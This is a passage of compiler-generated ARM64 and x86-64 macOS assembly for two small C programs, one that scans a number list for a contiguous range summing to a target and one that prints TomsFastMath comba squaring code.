; kill: def $x9 killed $w9
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #40]
ldr x8, [sp, #64]
; kill: def $w8 killed $w8 killed $x8
str w8, [sp, #36]
b LBB0_15
LBB0_15: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #36]
ldr w9, [sp, #60]
subs w8, w8, w9
cset w8, hs
tbnz w8, #0, LBB0_23
b LBB0_16
LBB0_16: ; in Loop: Header=BB0_15 Depth=1
ldr x8, [sp, #96]
ldrsw x9, [sp, #36]
ldr x8, [x8, x9, lsl #3]
ldr x9, [sp, #48]
subs x8, x8, x9
cset w8, ls
tbnz w8, #0, LBB0_18
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_15 Depth=1
ldr x8, [sp, #96]
ldrsw x9, [sp, #36]
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #48]
b LBB0_21
LBB0_18: ; in Loop: Header=BB0_15 Depth=1
ldr x8, [sp, #96]
ldrsw x9, [sp, #36]
ldr x8, [x8, x9, lsl #3]
ldr x9, [sp, #40]
subs x8, x8, x9
cset w8, hs
tbnz w8, #0, LBB0_20
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_15 Depth=1
ldr x8, [sp, #96]
ldrsw x9, [sp, #36]
ldr x8, [x8, x9, lsl #3]
str x8, [sp, #40]
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_15 Depth=1
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_15 Depth=1
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_15 Depth=1
ldr w8, [sp, #36]
add w8, w8, #1
str w8, [sp, #36]
b LBB0_15
LBB0_23:
ldr x11, [sp, #40]
ldr x10, [sp, #48]
ldr x8, [sp, #40]
ldr x9, [sp, #48]
add x8, x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
b LBB0_26
LBB0_24: ; in Loop: Header=BB0_8 Depth=1
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_8 Depth=1
ldr w8, [sp, #60]
add w8, w8, #1
str w8, [sp, #60]
b LBB0_8
LBB0_26:
b LBB0_28
LBB0_27:
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_28
LBB0_28:
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB0_30
b LBB0_29
LBB0_29:
bl ___stack_chk_fail
LBB0_30:
mov w0, #0
ldp x29, x30, [sp, #416] ; 16-byte Folded Reload
ldp x28, x27, [sp, #400] ; 16-byte Folded Reload
add sp, sp, #432
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "../data/9.txt"
l_.str.1: ; @.str.1
.asciz "r"
l_.str.2: ; @.str.2
.asciz "Number of rows in input file: %d\n"
l_.str.3: ; @.str.3
.asciz "%lu"
l_.str.4: ; @.str.4
.asciz "Smallest: %lu, largest: %lu, weakness: %lu\n"
l_.str.5: ; @.str.5
.asciz "file not found\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $384, %rsp ## imm = 0x180
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -276(%rbp)
movl %edi, -280(%rbp)
movq %rsi, -288(%rbp)
leaq L_.str(%rip), %rdi
leaq L_.str.1(%rip), %rsi
callq _fopen
movq %rax, -296(%rbp)
cmpq $0, -296(%rbp)
je LBB0_27
## %bb.1:
movl $0, -300(%rbp)
LBB0_2: ## =>This Inner Loop Header: Depth=1
leaq -272(%rbp), %rdi
movq -296(%rbp), %rdx
movl $256, %esi ## imm = 0x100
callq _fgets
cmpq $0, %rax
je LBB0_4
## %bb.3: ## in Loop: Header=BB0_2 Depth=1
movl -300(%rbp), %eax
addl $1, %eax
movl %eax, -300(%rbp)
jmp LBB0_2
LBB0_4:
movl -300(%rbp), %esi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
movl -300(%rbp), %eax
movl %eax, %edi
shlq $3, %rdi
callq _malloc
movq %rax, -312(%rbp)
movq -296(%rbp), %rdi
callq _rewind
movl $0, -316(%rbp)
LBB0_5: ## =>This Inner Loop Header: Depth=1
leaq -272(%rbp), %rdi
movq -296(%rbp), %rdx
movl $256, %esi ## imm = 0x100
callq _fgets
cmpq $0, %rax
je LBB0_7
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
leaq -272(%rbp), %rdi
movq -312(%rbp), %rdx
movl -316(%rbp), %eax
movl %eax, %ecx
addl $1, %ecx
movl %ecx, -316(%rbp)
movl %eax, %eax
## kill: def $rax killed $eax
shlq $3, %rax
addq %rax, %rdx
leaq L_.str.3(%rip), %rsi
movb $0, %al
callq _sscanf
jmp LBB0_5
LBB0_7:
movq $0, -328(%rbp)
movq $393911906, -336(%rbp) ## imm = 0x177A9E62
movq $0, -344(%rbp)
movl $0, -348(%rbp)
LBB0_8: ## =>This Loop Header: Depth=1
## Child Loop BB0_10 Depth 2
movl -348(%rbp), %eax
cmpl -316(%rbp), %eax
jae LBB0_26
## %bb.9: ## in Loop: Header=BB0_8 Depth=1
movq -312(%rbp), %rax
movl -348(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rax
addq -328(%rbp), %rax
movq %rax, -328(%rbp)
LBB0_10: ## Parent Loop BB0_8 Depth=1
## => This Inner Loop Header: Depth=2
movq -328(%rbp), %rax
cmpq -336(%rbp), %rax
jbe LBB0_12
## %bb.11: ## in Loop: Header=BB0_10 Depth=2
movq -312(%rbp), %rax
movq -344(%rbp), %rcx
movq %rcx, %rdx
addq $1, %rdx
movq %rdx, -344(%rbp)
movq (%rax,%rcx,8), %rcx
movq -328(%rbp), %rax
subq %rcx, %rax
movq %rax, -328(%rbp)
jmp LBB0_10
LBB0_12: ## in Loop: Header=BB0_8 Depth=1
movq -328(%rbp), %rax
cmpq -336(%rbp), %rax
jne LBB0_24
## %bb.13: ## in Loop: Header=BB0_8 Depth=1
movq -344(%rbp), %rax
movl -348(%rbp), %ecx
## kill: def $rcx killed $ecx
cmpq %rcx, %rax
je LBB0_24
## %bb.14:
movq -312(%rbp), %rax
movl -348(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rax
movq %rax, -360(%rbp)
movq -312(%rbp), %rax
movl -348(%rbp), %ecx
## kill: def $rcx killed $ecx
movq (%rax,%rcx,8), %rax
movq %rax, -368(%rbp)
movq -344(%rbp), %rax
## kill: def $eax killed $eax killed $rax
movl %eax, -372(%rbp)
LBB0_15: ## =>This Inner Loop Header: Depth=1
movl -372(%rbp), %eax
cmpl -348(%rbp), %eax
jae LBB0_23
## %bb.16: ## in Loop: Header=BB0_15 Depth=1
movq -312(%rbp), %rax
movslq -372(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cmpq -360(%rbp), %rax
jbe LBB0_18
## %bb.17: ## in Loop: Header=BB0_15 Depth=1
movq -312(%rbp), %rax
movslq -372(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq %rax, -360(%rbp)
jmp LBB0_21
LBB0_18: ## in Loop: Header=BB0_15 Depth=1
movq -312(%rbp), %rax
movslq -372(%rbp), %rcx
movq (%rax,%rcx,8), %rax
cmpq -368(%rbp), %rax
jae LBB0_20
## %bb.19: ## in Loop: Header=BB0_15 Depth=1
movq -312(%rbp), %rax
movslq -372(%rbp), %rcx
movq (%rax,%rcx,8), %rax
movq %rax, -368(%rbp)
LBB0_20: ## in Loop: Header=BB0_15 Depth=1
jmp LBB0_21
LBB0_21: ## in Loop: Header=BB0_15 Depth=1
jmp LBB0_22
LBB0_22: ## in Loop: Header=BB0_15 Depth=1
movl -372(%rbp), %eax
addl $1, %eax
movl %eax, -372(%rbp)
jmp LBB0_15
LBB0_23:
movq -368(%rbp), %rsi
movq -360(%rbp), %rdx
movq -368(%rbp), %rcx
addq -360(%rbp), %rcx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_26
LBB0_24: ## in Loop: Header=BB0_8 Depth=1
jmp LBB0_25
LBB0_25: ## in Loop: Header=BB0_8 Depth=1
movl -348(%rbp), %eax
addl $1, %eax
movl %eax, -348(%rbp)
jmp LBB0_8
LBB0_26:
jmp LBB0_28
LBB0_27:
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB0_28:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB0_30
## %bb.29:
xorl %eax, %eax
addq $384, %rsp ## imm = 0x180
popq %rbp
retq
LBB0_30:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "../data/9.txt"
L_.str.1: ## @.str.1
.asciz "r"
L_.str.2: ## @.str.2
.asciz "Number of rows in input file: %d\n"
L_.str.3: ## @.str.3
.asciz "%lu"
L_.str.4: ## @.str.4
.asciz "Smallest: %lu, largest: %lu, weakness: %lu\n"
L_.str.5: ## @.str.5
.asciz "file not found\n"
.subsections_via_symbols
| the_stack_data/923334.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #96
.cfi_def_cfa_offset 96
stp x29, x30, [sp, #80] ; 16-byte Folded Spill
add x29, sp, #80
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
stur w0, [x29, #-8]
stur x1, [x29, #-16]
ldur x8, [x29, #-16]
ldr x0, [x8, #8]
bl _atoi
stur w0, [x29, #-32]
ldur w8, [x29, #-32]
; implicit-def: $x11
mov x11, x8
ldur w8, [x29, #-32]
ldur w9, [x29, #-32]
add w12, w8, w9
ldur w9, [x29, #-32]
; implicit-def: $x8
mov x8, x9
ldur w9, [x29, #-32]
ldur w10, [x29, #-32]
add w10, w9, w10
mov x9, sp
str x11, [x9]
; implicit-def: $x11
mov x11, x12
str x11, [x9, #8]
str x8, [x9, #16]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #24]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-20]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_5 Depth 3
; Child Loop BB0_31 Depth 2
; Child Loop BB0_33 Depth 3
; Child Loop BB0_16 Depth 2
; Child Loop BB0_18 Depth 3
ldur w8, [x29, #-20]
ldur w9, [x29, #-32]
ldur w10, [x29, #-32]
add w9, w9, w10
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_50
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
stur wzr, [x29, #-24]
stur wzr, [x29, #-36]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_5 Depth 3
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
stur wzr, [x29, #-28]
b LBB0_5
LBB0_5: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_3 Depth=2
; => This Inner Loop Header: Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_12
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_10
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
add w8, w8, w9
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_10
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_10
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-36]
add w8, w8, #1
stur w8, [x29, #-36]
b LBB0_10
LBB0_10: ; in Loop: Header=BB0_5 Depth=3
b LBB0_11
LBB0_11: ; in Loop: Header=BB0_5 Depth=3
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB0_5
LBB0_12: ; in Loop: Header=BB0_3 Depth=2
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_3 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_3
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-36]
subs w8, w8, #2
cset w8, gt
tbnz w8, #0, LBB0_30
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-24]
b LBB0_16
LBB0_16: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_18 Depth 3
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_29
b LBB0_17
LBB0_17: ; in Loop: Header=BB0_16 Depth=2
stur wzr, [x29, #-28]
b LBB0_18
LBB0_18: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_16 Depth=2
; => This Inner Loop Header: Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_27
b LBB0_19
LBB0_19: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_25
b LBB0_20
LBB0_20: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-28]
add w8, w8, w9
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_25
b LBB0_21
LBB0_21: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_23
b LBB0_22
LBB0_22: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-24]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_24
LBB0_23: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-24]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-28]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
b LBB0_24
LBB0_24: ; in Loop: Header=BB0_18 Depth=3
b LBB0_25
LBB0_25: ; in Loop: Header=BB0_18 Depth=3
b LBB0_26
LBB0_26: ; in Loop: Header=BB0_18 Depth=3
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB0_18
LBB0_27: ; in Loop: Header=BB0_16 Depth=2
b LBB0_28
LBB0_28: ; in Loop: Header=BB0_16 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_16
LBB0_29: ; in Loop: Header=BB0_1 Depth=1
b LBB0_48
LBB0_30: ; in Loop: Header=BB0_1 Depth=1
stur wzr, [x29, #-36]
stur wzr, [x29, #-24]
b LBB0_31
LBB0_31: ; Parent Loop BB0_1 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB0_33 Depth 3
ldur w8, [x29, #-24]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_45
b LBB0_32
LBB0_32: ; in Loop: Header=BB0_31 Depth=2
stur wzr, [x29, #-28]
b LBB0_33
LBB0_33: ; Parent Loop BB0_1 Depth=1
; Parent Loop BB0_31 Depth=2
; => This Inner Loop Header: Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-32]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_43
b LBB0_34
LBB0_34: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB0_41
b LBB0_35
LBB0_35: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-28]
ldur w9, [x29, #-24]
add w8, w8, w9
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB0_41
b LBB0_36
LBB0_36: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-24]
ldur w9, [x29, #-28]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_41
b LBB0_37
LBB0_37: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-36]
subs w8, w8, #0
cset w8, ne
tbnz w8, #0, LBB0_39
b LBB0_38
LBB0_38: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-24]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-28]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-36]
b LBB0_40
LBB0_39: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-24]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-28]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
b LBB0_40
LBB0_40: ; in Loop: Header=BB0_33 Depth=3
b LBB0_41
LBB0_41: ; in Loop: Header=BB0_33 Depth=3
b LBB0_42
LBB0_42: ; in Loop: Header=BB0_33 Depth=3
ldur w8, [x29, #-28]
add w8, w8, #1
stur w8, [x29, #-28]
b LBB0_33
LBB0_43: ; in Loop: Header=BB0_31 Depth=2
b LBB0_44
LBB0_44: ; in Loop: Header=BB0_31 Depth=2
ldur w8, [x29, #-24]
add w8, w8, #1
stur w8, [x29, #-24]
b LBB0_31
LBB0_45: ; in Loop: Header=BB0_1 Depth=1
adrp x0, l_.str.6@PAGE
add x0, x0, l_.str.6@PAGEOFF
bl _printf
ldur w8, [x29, #-20]
ands w8, w8, #0x1
cset w8, ne
tbnz w8, #0, LBB0_47
b LBB0_46
LBB0_46: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
mov w9, #2
sdiv w11, w8, w9
ldur w8, [x29, #-20]
sdiv w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
b LBB0_47
LBB0_47: ; in Loop: Header=BB0_1 Depth=1
b LBB0_48
LBB0_48: ; in Loop: Header=BB0_1 Depth=1
ldur w9, [x29, #-20]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.7@PAGE
add x0, x0, l_.str.7@PAGEOFF
bl _printf
b LBB0_49
LBB0_49: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-20]
add w8, w8, #1
stur w8, [x29, #-20]
b LBB0_1
LBB0_50:
ldur w8, [x29, #-32]
ldur w9, [x29, #-32]
add w8, w8, w9
subs w10, w8, #1
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.8@PAGE
add x0, x0, l_.str.8@PAGEOFF
bl _printf
ldur w8, [x29, #-32]
ldur w9, [x29, #-32]
add w11, w8, w9
ldur w8, [x29, #-32]
ldur w9, [x29, #-32]
add w10, w8, w9
mov x9, sp
; implicit-def: $x8
mov x8, x11
str x8, [x9]
; implicit-def: $x8
mov x8, x10
str x8, [x9, #8]
adrp x0, l_.str.9@PAGE
add x0, x0, l_.str.9@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #80] ; 16-byte Folded Reload
add sp, sp, #96
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "#define TFM_DEFINES\n#include \"fp_sqr_comba.c\"\n\n#if defined(TFM_SQR%d) && FP_SIZE >= %d\nvoid fp_sqr_comba%d(fp_int *A, fp_int *B)\n{\n fp_digit *a, b[%d], c0, c1, c2, sc0, sc1, sc2;\n#ifdef TFM_ISO\n fp_word tt;\n#endif\n\n a = A->dp;\n COMBA_START;\n\n /* clear carries */\n CLEAR_CARRY;\n\n /* output 0 */\n SQRADD(a[0],a[0]);\n COMBA_STORE(b[0]);\n"
l_.str.1: ; @.str.1
.asciz "\n /* output %d */\n CARRY_FORWARD;\n "
l_.str.2: ; @.str.2
.asciz "SQRADD(a[%d], a[%d]); "
l_.str.3: ; @.str.3
.asciz "SQRADD2(a[%d], a[%d]); "
l_.str.4: ; @.str.4
.asciz "SQRADDSC(a[%d], a[%d]); "
l_.str.5: ; @.str.5
.asciz "SQRADDAC(a[%d], a[%d]); "
l_.str.6: ; @.str.6
.asciz "SQRADDDB; "
l_.str.7: ; @.str.7
.asciz "\n COMBA_STORE(b[%d]);\n"
l_.str.8: ; @.str.8
.asciz " COMBA_STORE2(b[%d]);\n"
l_.str.9: ; @.str.9
.asciz " COMBA_FINI;\n\n B->used = %d;\n B->sign = FP_ZPOS;\n memcpy(B->dp, b, %d * sizeof(fp_digit));\n fp_clamp(B);\n}\n#endif\n\n\n/* $Source$ */\n/* $Revision$ */\n/* $Date$ */\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $48, %rsp
movl $0, -4(%rbp)
movl %edi, -8(%rbp)
movq %rsi, -16(%rbp)
movq -16(%rbp), %rax
movq 8(%rax), %rdi
callq _atoi
movl %eax, -32(%rbp)
movl -32(%rbp), %esi
movl -32(%rbp), %edx
addl -32(%rbp), %edx
movl -32(%rbp), %ecx
movl -32(%rbp), %r8d
addl -32(%rbp), %r8d
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -20(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_5 Depth 3
## Child Loop BB0_16 Depth 2
## Child Loop BB0_18 Depth 3
## Child Loop BB0_31 Depth 2
## Child Loop BB0_33 Depth 3
movl -20(%rbp), %eax
movl -32(%rbp), %ecx
addl -32(%rbp), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB0_50
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -20(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -24(%rbp)
movl $0, -36(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_5 Depth 3
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_14
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl $0, -28(%rbp)
LBB0_5: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_3 Depth=2
## => This Inner Loop Header: Depth=3
movl -28(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_12
## %bb.6: ## in Loop: Header=BB0_5 Depth=3
movl -28(%rbp), %eax
cmpl -24(%rbp), %eax
je LBB0_10
## %bb.7: ## in Loop: Header=BB0_5 Depth=3
movl -28(%rbp), %eax
addl -24(%rbp), %eax
cmpl -20(%rbp), %eax
jne LBB0_10
## %bb.8: ## in Loop: Header=BB0_5 Depth=3
movl -24(%rbp), %eax
cmpl -28(%rbp), %eax
jg LBB0_10
## %bb.9: ## in Loop: Header=BB0_5 Depth=3
movl -36(%rbp), %eax
addl $1, %eax
movl %eax, -36(%rbp)
LBB0_10: ## in Loop: Header=BB0_5 Depth=3
jmp LBB0_11
LBB0_11: ## in Loop: Header=BB0_5 Depth=3
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_5
LBB0_12: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_13
LBB0_13: ## in Loop: Header=BB0_3 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_3
LBB0_14: ## in Loop: Header=BB0_1 Depth=1
cmpl $2, -36(%rbp)
jg LBB0_30
## %bb.15: ## in Loop: Header=BB0_1 Depth=1
movl $0, -24(%rbp)
LBB0_16: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_18 Depth 3
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_29
## %bb.17: ## in Loop: Header=BB0_16 Depth=2
movl $0, -28(%rbp)
LBB0_18: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_16 Depth=2
## => This Inner Loop Header: Depth=3
movl -28(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_27
## %bb.19: ## in Loop: Header=BB0_18 Depth=3
movl -24(%rbp), %eax
cmpl -28(%rbp), %eax
jg LBB0_25
## %bb.20: ## in Loop: Header=BB0_18 Depth=3
movl -24(%rbp), %eax
addl -28(%rbp), %eax
cmpl -20(%rbp), %eax
jne LBB0_25
## %bb.21: ## in Loop: Header=BB0_18 Depth=3
movl -24(%rbp), %eax
cmpl -28(%rbp), %eax
jne LBB0_23
## %bb.22: ## in Loop: Header=BB0_18 Depth=3
movl -24(%rbp), %esi
movl -24(%rbp), %edx
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB0_24
LBB0_23: ## in Loop: Header=BB0_18 Depth=3
movl -24(%rbp), %esi
movl -28(%rbp), %edx
leaq L_.str.3(%rip), %rdi
movb $0, %al
callq _printf
LBB0_24: ## in Loop: Header=BB0_18 Depth=3
jmp LBB0_25
LBB0_25: ## in Loop: Header=BB0_18 Depth=3
jmp LBB0_26
LBB0_26: ## in Loop: Header=BB0_18 Depth=3
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_18
LBB0_27: ## in Loop: Header=BB0_16 Depth=2
jmp LBB0_28
LBB0_28: ## in Loop: Header=BB0_16 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_16
LBB0_29: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_48
LBB0_30: ## in Loop: Header=BB0_1 Depth=1
movl $0, -36(%rbp)
movl $0, -24(%rbp)
LBB0_31: ## Parent Loop BB0_1 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB0_33 Depth 3
movl -24(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_45
## %bb.32: ## in Loop: Header=BB0_31 Depth=2
movl $0, -28(%rbp)
LBB0_33: ## Parent Loop BB0_1 Depth=1
## Parent Loop BB0_31 Depth=2
## => This Inner Loop Header: Depth=3
movl -28(%rbp), %eax
cmpl -32(%rbp), %eax
jge LBB0_43
## %bb.34: ## in Loop: Header=BB0_33 Depth=3
movl -28(%rbp), %eax
cmpl -24(%rbp), %eax
je LBB0_41
## %bb.35: ## in Loop: Header=BB0_33 Depth=3
movl -28(%rbp), %eax
addl -24(%rbp), %eax
cmpl -20(%rbp), %eax
jne LBB0_41
## %bb.36: ## in Loop: Header=BB0_33 Depth=3
movl -24(%rbp), %eax
cmpl -28(%rbp), %eax
jg LBB0_41
## %bb.37: ## in Loop: Header=BB0_33 Depth=3
cmpl $0, -36(%rbp)
jne LBB0_39
## %bb.38: ## in Loop: Header=BB0_33 Depth=3
movl -24(%rbp), %esi
movl -28(%rbp), %edx
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -36(%rbp)
jmp LBB0_40
LBB0_39: ## in Loop: Header=BB0_33 Depth=3
movl -24(%rbp), %esi
movl -28(%rbp), %edx
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
LBB0_40: ## in Loop: Header=BB0_33 Depth=3
jmp LBB0_41
LBB0_41: ## in Loop: Header=BB0_33 Depth=3
jmp LBB0_42
LBB0_42: ## in Loop: Header=BB0_33 Depth=3
movl -28(%rbp), %eax
addl $1, %eax
movl %eax, -28(%rbp)
jmp LBB0_33
